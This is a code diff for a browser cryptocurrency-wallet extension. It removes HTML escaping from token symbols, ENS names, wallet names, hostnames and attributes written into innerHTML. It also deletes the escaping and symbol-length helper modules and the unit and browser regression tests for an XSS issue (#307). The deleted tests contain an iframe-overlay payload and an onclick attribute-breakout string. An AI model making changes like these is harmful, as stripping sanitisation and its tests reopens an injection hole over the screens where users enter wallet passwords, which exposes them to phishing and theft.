truncateMiddle, truncateMiddle,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -110,13 +109,10 @@ function renderHomeTxList(ctx) {
: tx.direction === "sent" || tx.direction === "contract" : tx.direction === "sent" || tx.direction === "contract"
? tx.to ? tx.to
: tx.from; : tx.from;
// directionLabel is the explorer's own method name for a contract const dirLabel = tx.directionLabel;
// call, title-cased — attacker-chosen for an attacker's contract.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = title || truncateMiddle(counterparty, maxAddr); const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -230,7 +226,7 @@ function walletListHtml() {
const defect = walletDefect(wallet); const defect = walletDefect(wallet);
html += `<div>`; html += `<div>`;
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`; html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`; html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
// No "+" on a defective wallet: deriving another address from that // No "+" on a defective wallet: deriving another address from that
// xpub would only add one more address the key does not produce // xpub would only add one more address the key does not produce
// under the standard path. // under the standard path.
@@ -254,13 +250,10 @@ function walletListHtml() {
const titleBold = isActive ? "font-bold" : ""; const titleBold = isActive ? "font-bold" : "";
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`; html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
if (addr.ensName) { if (addr.ensName) {
// An ENS reverse record is whatever the name owner set it html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
// to; renderAddressHtml() escapes its own copy of this and
// this list was the one that did not.
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
} }
html += `<div class="flex text-xs items-center justify-between">`; html += `<div class="flex text-xs items-center justify-between">`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`; html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`; html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
html += `</div>`; html += `</div>`;
const addrTotal = formatAddressTotal(getAddressValue(addr)); const addrTotal = formatAddressTotal(getAddressValue(addr));

View File

@@ -5,7 +5,6 @@ const {
flashCopyFeedback, flashCopyFeedback,
formatAddressHtml, formatAddressHtml,
addressTitle, addressTitle,
displaySymbol,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
} = require("./helpers"); } = require("./helpers");
@@ -45,7 +44,7 @@ function show() {
} }
warningEl.textContent = warningEl.textContent =
"This is an ERC-20 token. Only send " + "This is an ERC-20 token. Only send " +
displaySymbol(symbol) + symbol +
" on " + " on " +
currentNetwork().name + currentNetwork().name +
" to this address. Sending tokens on other networks will result in permanent loss."; " to this address. Sending tokens on other networks will result in permanent loss.";

View File

@@ -4,7 +4,6 @@ const {
$, $,
showFlash, showFlash,
addressTitle, addressTitle,
displaySymbol,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
@@ -132,7 +131,7 @@ function renderSendTokenSelect(addr) {
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue; if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
const opt = document.createElement("option"); const opt = document.createElement("option");
opt.value = t.address; opt.value = t.address;
opt.textContent = displaySymbol(t.symbol); opt.textContent = t.symbol;
sel.appendChild(opt); sel.appendChild(opt);
} }
} }

View File

@@ -4,7 +4,6 @@ const {
updateDebugBanner, updateDebugBanner,
showFlash, showFlash,
escapeHtml, escapeHtml,
displaySymbol,
flashCopyFeedback, flashCopyFeedback,
goBack, goBack,
pushCurrentView, pushCurrentView,
@@ -44,11 +43,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
let html = ""; let html = "";
hostnames.forEach((hostname) => { hostnames.forEach((hostname) => {
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`; html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
// A hostname the URL parser produced cannot carry a delimiter, so html += `<span>${hostname}</span>`;
// this is escaped for the rule rather than for a known hole — the html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
// rule being that nothing reaches innerHTML unescaped.
html += `<span>${escapeHtml(hostname)}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
html += `</div>`; html += `</div>`;
}); });
container.innerHTML = html; container.innerHTML = html;
@@ -77,10 +73,9 @@ function renderTrackedTokens() {
} }
let html = ""; let html = "";
state.trackedTokens.forEach((token, idx) => { state.trackedTokens.forEach((token, idx) => {
const sym = escapeHtml(displaySymbol(token.symbol));
const label = token.name const label = token.name
? escapeHtml(token.name) + " (" + sym + ")" ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
: sym; : escapeHtml(token.symbol);
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`; html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span>${label}</span>`; html += `<span>${label}</span>`;
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`; html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers"); const { $, showView, showFlash, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList"); const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state"); const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances"); const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs"; : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
return ( return (
`<button class="settings-addtoken-quick ${cls}"` + `<button class="settings-addtoken-quick ${cls}"` +
` data-address="${escapeHtml(t.address)}"` + ` data-address="${t.address}"` +
` data-symbol="${escapeHtml(t.symbol)}"` + ` data-symbol="${t.symbol}"` +
` data-decimals="${escapeHtml(t.decimals)}"` + ` data-decimals="${t.decimals}"` +
` data-name="${escapeHtml(t.name || "")}"` + ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>` `${tracked ? " disabled" : ""}>${t.symbol}</button>`
); );
}) })
.join(""); .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
const tracked = isTracked(t.address); const tracked = isTracked(t.address);
const label = tokenLabel(t) + (tracked ? " (tracked)" : ""); const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
html += html +=
`<option value="${escapeHtml(t.address)}"` + `<option value="${t.address}"` +
` data-symbol="${escapeHtml(t.symbol)}"` + ` data-symbol="${t.symbol}"` +
` data-decimals="${escapeHtml(t.decimals)}"` + ` data-decimals="${t.decimals}"` +
` data-name="${escapeHtml(t.name || "")}"` + ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`; `${tracked ? " disabled" : ""}>${label}</option>`;
} }
sel.innerHTML = html; sel.innerHTML = html;
} }

View File

@@ -15,11 +15,9 @@ const {
attachCopyHandlers, attachCopyHandlers,
copyableHtml, copyableHtml,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
displaySymbol,
goBack, goBack,
} = require("./helpers"); } = require("./helpers");
const { state } = require("../../shared/state"); const { state, currentNetwork } = require("../../shared/state");
const { formatEther, formatUnits } = require("ethers"); const { formatEther, formatUnits } = require("ethers");
const makeBlockie = require("ethereum-blockies-base64"); const makeBlockie = require("ethereum-blockies-base64");
const { log, debugFetch } = require("../../shared/log"); const { log, debugFetch } = require("../../shared/log");
@@ -46,7 +44,7 @@ function getTransactionType(tx) {
function blockieHtml(address) { function blockieHtml(address) {
const src = makeBlockie(address); const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`; return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
} }
function txAddressHtml(address, ensName, title) { function txAddressHtml(address, ensName, title) {
@@ -58,7 +56,7 @@ function txAddressHtml(address, ensName, title) {
} }
function txHashHtml(hash) { function txHashHtml(hash) {
const link = explorerUrl("tx", hash); const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
const extLink = etherscanLinkHtml(link); const extLink = etherscanLinkHtml(link);
return copyableHtml(hash, "break-all") + extLink; return copyableHtml(hash, "break-all") + extLink;
} }
@@ -103,10 +101,9 @@ function render() {
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle); $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
// Exact amount (full precision, copyable) // Exact amount (full precision, copyable)
const detailSym = displaySymbol(tx.symbol);
const exactStr = tx.exactValue const exactStr = tx.exactValue
? tx.exactValue + " " + detailSym ? tx.exactValue + " " + tx.symbol
: tx.directionLabel + " " + detailSym; : tx.directionLabel + " " + tx.symbol;
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold"); $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
// Native quantity (raw integer, copyable) // Native quantity (raw integer, copyable)
@@ -136,7 +133,7 @@ function render() {
if (tokenContractSection && tokenContractEl) { if (tokenContractSection && tokenContractEl) {
if (tx.contractAddress) { if (tx.contractAddress) {
const dot = addressDotHtml(tx.contractAddress); const dot = addressDotHtml(tx.contractAddress);
const link = explorerUrl("token", tx.contractAddress); const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
tokenContractEl.innerHTML = tokenContractEl.innerHTML =
`<div class="flex items-center">${dot}` + `<div class="flex items-center">${dot}` +
copyableHtml(tx.contractAddress, "break-all") + copyableHtml(tx.contractAddress, "break-all") +
@@ -188,7 +185,7 @@ function showDetailField(sectionId, contentId, value) {
function populateOnChainDetails(txData) { function populateOnChainDetails(txData) {
// Block number // Block number
if (txData.block_number != null) { if (txData.block_number != null) {
const blockLink = explorerUrl("block", String(txData.block_number)); const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
const blockSection = $("tx-detail-block-section"); const blockSection = $("tx-detail-block-section");
const blockEl = $("tx-detail-block"); const blockEl = $("tx-detail-block");
if (blockSection && blockEl) { if (blockSection && blockEl) {
@@ -312,7 +309,7 @@ async function loadFullTxDetails(txHash, toAddress) {
// Token entry: show symbol on its own line, then address via shared renderer // Token entry: show symbol on its own line, then address via shared renderer
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1]; const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
if (tokenSymbol) { if (tokenSymbol) {
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`; detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
} }
detailsHtml += renderAddressHtml(d.address); detailsHtml += renderAddressHtml(d.address);
} else if (d.address) { } else if (d.address) {

View File

@@ -9,12 +9,10 @@ const {
attachCopyHandlers, attachCopyHandlers,
copyableHtml, copyableHtml,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
displaySymbol,
clearViewStack, clearViewStack,
} = require("./helpers"); } = require("./helpers");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList"); const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const { state } = require("../../shared/state"); const { state, currentNetwork } = require("../../shared/state");
const { getProvider } = require("../../shared/balances"); const { getProvider } = require("../../shared/balances");
const { log } = require("../../shared/log"); const { log } = require("../../shared/log");
@@ -64,13 +62,13 @@ function toAddressHtml(address) {
} }
function txHashHtml(hash) { function txHashHtml(hash) {
const link = explorerUrl("tx", hash); const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link); return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
} }
function blockNumberHtml(blockNumber) { function blockNumberHtml(blockNumber) {
const num = String(blockNumber); const num = String(blockNumber);
const link = explorerUrl("block", num); const link = `${currentNetwork().explorerUrl}/block/${num}`;
return copyableHtml(num) + etherscanLinkHtml(link); return copyableHtml(num) + etherscanLinkHtml(link);
} }
@@ -82,10 +80,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
endWait(); endWait();
const id = waitId; const id = waitId;
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol; $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to); $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
$("wait-tx-hash").innerHTML = txHashHtml(txHash); $("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -216,10 +211,7 @@ function restoreWait() {
function showSuccess(txInfo, txHash, blockNumber) { function showSuccess(txInfo, txHash, blockNumber) {
endWait(); endWait();
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = { state.viewData = {
amount: txInfo.amount, amount: txInfo.amount,
symbol: symbol, symbol: symbol,
@@ -307,10 +299,7 @@ function renderSuccess() {
function showError(txInfo, txHash, message) { function showError(txInfo, txHash, message) {
endWait(); endWait();
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = { state.viewData = {
amount: txInfo.amount, amount: txInfo.amount,
symbol: symbol, symbol: symbol,

View File

@@ -1,41 +0,0 @@
// HTML escaping for values interpolated into an innerHTML string.
//
// Every view in src/popup/views/ builds markup by string concatenation, so
// this is the only thing standing between a value the wallet did not author
// and the extension's own DOM. The values that reach it are attacker
// controlled by design: an ERC-20's symbol() and name() are whatever the
// contract chooses to return, an ENS name is whatever the resolver returns,
// and both arrive through the block explorer with no schema.
//
// It escapes both quote characters as well as the tag delimiters, because
// the popup interpolates into attribute values as well as into element
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
// break-out intact, and the round trip through a detached element's
// textContent that used to implement this was exactly that escape: the
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
// since a text node has no idea it is about to be pasted inside quotes.
//
// Deliberately a pure string function with no DOM dependency: it is called
// on every rendered row, it is unit-testable without a document, and it
// cannot be affected by the state of a document that an attacker-supplied
// string has already been written into.
const HTML_ESCAPES = {
"&": "&amp;",
"<": "&lt;",
">": "&gt;",
'"': "&quot;",
"'": "&#39;",
};
// `&` is escaped first by virtue of being in the same pass: a sequential
// replace would re-escape the ampersands it had just introduced.
function escapeHtml(s) {
if (s === null || s === undefined) return "";
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
}
module.exports = {
escapeHtml,
};

View File

@@ -1,43 +0,0 @@
// The length bound on a token symbol as displayed.
//
// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
// it from the block explorer, which imposes no length: src/shared/balances.js
// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
// return value, and rendering it pushes every amount off the row, scrolls
// the balance list past the screen, and hides the figures the user is there
// to read.
//
// This is a layout bound, not a security control. Escaping is what makes a
// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
// what catches one impersonating a known ticker; neither job belongs here
// and neither is done here. Truncating an unescaped symbol would still be
// an injection, just a shorter one.
//
// 12 characters, which is the bound lookupTokenInfo() in
// src/shared/balances.js already applies when it stores a symbol read
// straight off a contract; the explorer path was the one with no bound at
// all. The longest symbol across the 512 entries of the bundled list is 10
// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
// truncated. The ellipsis is what tells the user the name they are looking
// at is not the whole name — worth knowing before they send to it.
const MAX_SYMBOL_LENGTH = 12;
// The placeholder for a token whose symbol the explorer did not report.
// balances.js already substitutes this; repeated here so a symbol that
// arrives empty from anywhere else displays the same way rather than as a
// blank gap in the row.
const UNKNOWN_SYMBOL = "???";
function displaySymbol(symbol) {
const s = symbol === null || symbol === undefined ? "" : String(symbol);
if (s.length === 0) return UNKNOWN_SYMBOL;
if (s.length <= MAX_SYMBOL_LENGTH) return s;
return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
}
module.exports = {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
};

View File

@@ -1,69 +0,0 @@
// balanceLine() is the row that issue #307 was reported against: every
// screen that lists a holding renders through it, and the symbol it renders
// is whatever an ERC-20's symbol() returned. This asserts against the
// string it emits, which is what gets assigned to innerHTML.
//
// The browser half of the same claim — that a real Chrome renders that
// string as text and puts no iframe in the popup DOM — is in
// tests/e2e/run.js. This half runs inside the 20-second make test cap.
"use strict";
// helpers.js reaches for both at module scope through the modules it pulls
// in. Neither is exercised by anything asserted here.
global.chrome = {
storage: {
local: {
get: () => Promise.resolve({}),
set: () => Promise.resolve(),
},
},
runtime: { sendMessage: () => {} },
};
global.document = {
getElementById: () => null,
createElement: () => ({ style: {}, classList: { toggle() {} } }),
body: { prepend: () => {} },
addEventListener: () => {},
};
const { balanceLine } = require("../src/popup/views/helpers");
const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("balanceLine", () => {
test("emits a hostile symbol as text, not as an element", () => {
// Deliberately asserted on the escaping alone. The cap truncates
// this payload before its id attribute, so an assertion about the
// rest of the payload would pass on the cap and say nothing about
// the escape.
const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
expect(html).not.toContain("<iframe");
expect(html).toContain("&lt;iframe");
});
test("caps the symbol before rendering it", () => {
const html = balanceLine("A".repeat(4096), 1, null, null);
expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
});
// The token id lands inside data-token="...", so a quote in it is a
// way out of the attribute and into a new one.
test("keeps a quote-bearing token id inside its attribute", () => {
const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
expect(html).not.toContain('onclick="');
expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
});
test("renders an ordinary holding unchanged", () => {
const html = balanceLine("USDC", 1.5, null, "0xabc");
expect(html).toContain("<span>USDC</span>");
expect(html).toContain("<span>1.5000</span>");
expect(html).toContain('data-token="0xabc"');
});
});

View File

@@ -268,15 +268,11 @@ function ethCallResult(req, opts) {
return ZERO_WORD; return ZERO_WORD;
} }
// opts.tokenSymbolOverride is the hostile contract: set it and the explorer function tokenObject() {
// reports that string as the token's symbol, exactly as it would for a token
// whose symbol() returns markup. Read at request time, like every other
// fixture switch, so a test can flip it and reopen the popup.
function tokenObject(opts) {
return { return {
address_hash: STUB_TOKEN.address, address_hash: STUB_TOKEN.address,
address: STUB_TOKEN.address, address: STUB_TOKEN.address,
symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol, symbol: STUB_TOKEN.symbol,
name: STUB_TOKEN.name, name: STUB_TOKEN.name,
decimals: STUB_TOKEN.decimals, decimals: STUB_TOKEN.decimals,
holders_count: STUB_TOKEN.holders, holders_count: STUB_TOKEN.holders,
@@ -285,7 +281,7 @@ function tokenObject(opts) {
} }
// One received ERC-20 transfer of 1.5 E2E to the address under test. // One received ERC-20 transfer of 1.5 E2E to the address under test.
function tokenTransferItems(address, opts) { function tokenTransferItems(address) {
return [ return [
{ {
transaction_hash: STUB_TX_HASH, transaction_hash: STUB_TX_HASH,
@@ -294,7 +290,7 @@ function tokenTransferItems(address, opts) {
from: { hash: STUB_COUNTERPARTY }, from: { hash: STUB_COUNTERPARTY },
to: { hash: address }, to: { hash: address },
total: { decimals: STUB_TOKEN.decimals, value: "1500000" }, total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
token: tokenObject(opts), token: tokenObject(),
}, },
]; ];
} }
@@ -321,11 +317,11 @@ function nativeTransactionItems(address) {
// A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving // A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
// this is what puts an ERC-20 in the send screen's token dropdown, which is // this is what puts an ERC-20 in the send screen's token dropdown, which is
// the only way the confirmation screen's ERC-20 path can be reached. // the only way the confirmation screen's ERC-20 path can be reached.
function tokenBalanceItems(opts) { function tokenBalanceItems() {
return [ return [
{ {
value: "1500000", value: "1500000",
token: tokenObject(opts), token: tokenObject(),
}, },
]; ];
} }
@@ -600,9 +596,6 @@ function traceEnabled(raw) {
* @param {string} [opts.tokenDecimalsOverride] what decimals() answers for * @param {string} [opts.tokenDecimalsOverride] what decimals() answers for
* the stub token, in place of the value Blockscout reports for it. This is * the stub token, in place of the value Blockscout reports for it. This is
* the token that lies about its scale; read at request time. * the token that lies about its scale; read at request time.
* @param {string} [opts.tokenSymbolOverride] what the explorer reports as
* the stub token's symbol, in place of "E2E". This is the token whose
* symbol is markup; read at request time.
* @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a * @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a
* confirmed receipt instead of null, so a wait screen resolves. * confirmed receipt instead of null, so a wait screen resolves.
* @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) => * @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
@@ -681,14 +674,14 @@ async function installNetworkStubs(ctx, opts) {
return jsonResponse(route, { return jsonResponse(route, {
items: items:
opts.seedTokenTransfer && addr opts.seedTokenTransfer && addr
? tokenTransferItems(addr, opts) ? tokenTransferItems(addr)
: [], : [],
}); });
} }
if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) { if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
return jsonResponse( return jsonResponse(
route, route,
opts.seedTokenBalance ? tokenBalanceItems(opts) : [], opts.seedTokenBalance ? tokenBalanceItems() : [],
); );
} }
for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) { for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

View File

@@ -2169,156 +2169,6 @@ test("a token that lies about decimals() at signing time broadcasts nothing (#30
await visible(env.page, "#view-address"); await visible(env.page, "#view-address");
}); });
// ------------------------------------------- hostile token symbol (#307)
//
// The reproduction from the issue, in the real browser against the real
// shipped manifest. A token symbol is whatever the contract's symbol()
// returns, the explorer passes it through, and the popup interpolated it
// into an innerHTML string — so a token with 1,000 holders airdropped to
// the victim could paint a full-viewport cross-origin iframe over the
// wallet's own UI, on the screens where the user types their password.
//
// The iframe count and the rendered text are asserted separately on
// purpose, and neither substitutes for the other. `frame-src 'none'` stops
// an injected frame LOADING; it does not stop the element existing, so a
// zero iframe count is a claim about the escaping and about nothing else.
// The literal capped text is the claim that the symbol was treated as a
// string all the way down.
//
// The iframe count is taken on the address screen before anything is
// clicked. That is where the injected frame lands first, and it covers the
// viewport: with the escaping removed, every later step fails as a click
// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
// anything that names the defect.
// Verbatim from the issue's reproduction.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
// What a correctly escaped and capped render of it reads as: the first
// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
// imported, so a change to the cap has to be restated here deliberately
// instead of being absorbed by a shared constant.
const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
// Everything the popup can say about an injected symbol, read out of the
// live DOM in one pass.
function hostileSymbolState(page, tokenAddress) {
return page.evaluate((addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
// balanceLine() emits <div data-token><span><span>SYMBOL</span>…
// so this is the span the symbol itself was written into.
const symbolEl = row && row.firstElementChild.firstElementChild;
return {
rowFound: !!row,
rowText: row ? row.innerText.trim() : "",
symbolText: symbolEl ? symbolEl.textContent : "",
// The symbol's own span must hold text and nothing else. An
// element child here is the injection, whether or not it
// happens to be an iframe.
symbolElementChildren: symbolEl
? symbolEl.querySelectorAll("*").length
: -1,
// The whole popup document, not just the row: an injected
// element positioned fixed can be anywhere in the tree.
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
};
}, tokenAddress);
}
test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
env.routeOpts.seedTokenBalance = true;
env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
console.log(
"# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
);
// Close and reopen so the refresh that runs on open fetches balances
// with the hostile symbol in them.
await reopenPopup(env, "#view-address");
await env.page.waitForFunction(
(addr) =>
!!document.querySelector(
'#address-balances [data-token="' + addr + '"]',
),
STUB_TOKEN.address,
{ timeout: 60000 },
);
const onAddress = await env.page.evaluate(() => ({
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
}));
console.log("# address-detail iframes = " + onAddress.iframes);
assert(
onAddress.iframes === 0 && !onAddress.pwnPresent,
"the address screen contains " +
onAddress.iframes +
" iframe(s) after a hostile symbol rendered (#307)",
);
await env.page.click("#btn-address-back");
await visible(env.page, "#view-main");
await visible(
env.page,
'#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
60000,
);
const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
console.log(
"# iframes in the popup DOM = " +
st.iframes +
" | #pwn present = " +
st.pwnPresent +
" | symbol = " +
JSON.stringify(st.symbolText),
);
assert(st.rowFound, "the hostile token never rendered a row at all");
assert(
st.iframes === 0,
"the popup DOM contains " + st.iframes + " iframe(s) (#307)",
);
assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
assert(
st.symbolElementChildren === 0,
"the symbol span grew " +
st.symbolElementChildren +
" element children out of a token symbol (#307)",
);
assert(
st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
"the symbol did not render as the literal capped text " +
JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
": " +
JSON.stringify(st.symbolText),
);
assert(
!st.rowText.includes("z-index"),
"the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
);
// Put the fixture back before the next test reads it, and let the
// stored balances be rewritten with the honest symbol.
env.routeOpts.tokenSymbolOverride = null;
await reopenPopup(env, "#view-main");
await env.page.waitForFunction(
(addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
return !!row && row.innerText.includes("E2E");
},
STUB_TOKEN.address,
{ timeout: 60000 },
);
});
// ------------------------------------------- dApp round trips (#183) // ------------------------------------------- dApp round trips (#183)
// //
// The seam. Everything above drives the popup on its own; this section is // The seam. Everything above drives the popup on its own; this section is
@@ -3453,9 +3303,6 @@ async function main() {
// something other than the value the same fixture reports through // something other than the value the same fixture reports through
// Blockscout. The token that lies about its scale (#305). // Blockscout. The token that lies about its scale (#305).
tokenDecimalsOverride: null, tokenDecimalsOverride: null,
// What the explorer reports as the stub token's symbol. The token
// whose symbol() returns markup (#307).
tokenSymbolOverride: null,
// Whether eth_getTransactionReceipt confirms a transaction rather than // Whether eth_getTransactionReceipt confirms a transaction rather than
// answering "not mined yet". // answering "not mined yet".
seedReceipt: false, seedReceipt: false,

View File

@@ -1,110 +0,0 @@
// The escape every view depends on, and the length bound on a displayed
// token symbol. Both were added for #307, where a token whose symbol()
// returned an <iframe> tag rendered that iframe inside the popup.
const { escapeHtml } = require("../src/shared/html");
const {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
} = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("escapeHtml", () => {
test("escapes all five characters, quotes included", () => {
expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
});
// The regression this function was rewritten for. The previous
// implementation round-tripped through a detached div's textContent,
// and an HTML text node serializes a quote as itself — so a value with
// a quote in it broke straight out of data-copy="..." and href="...".
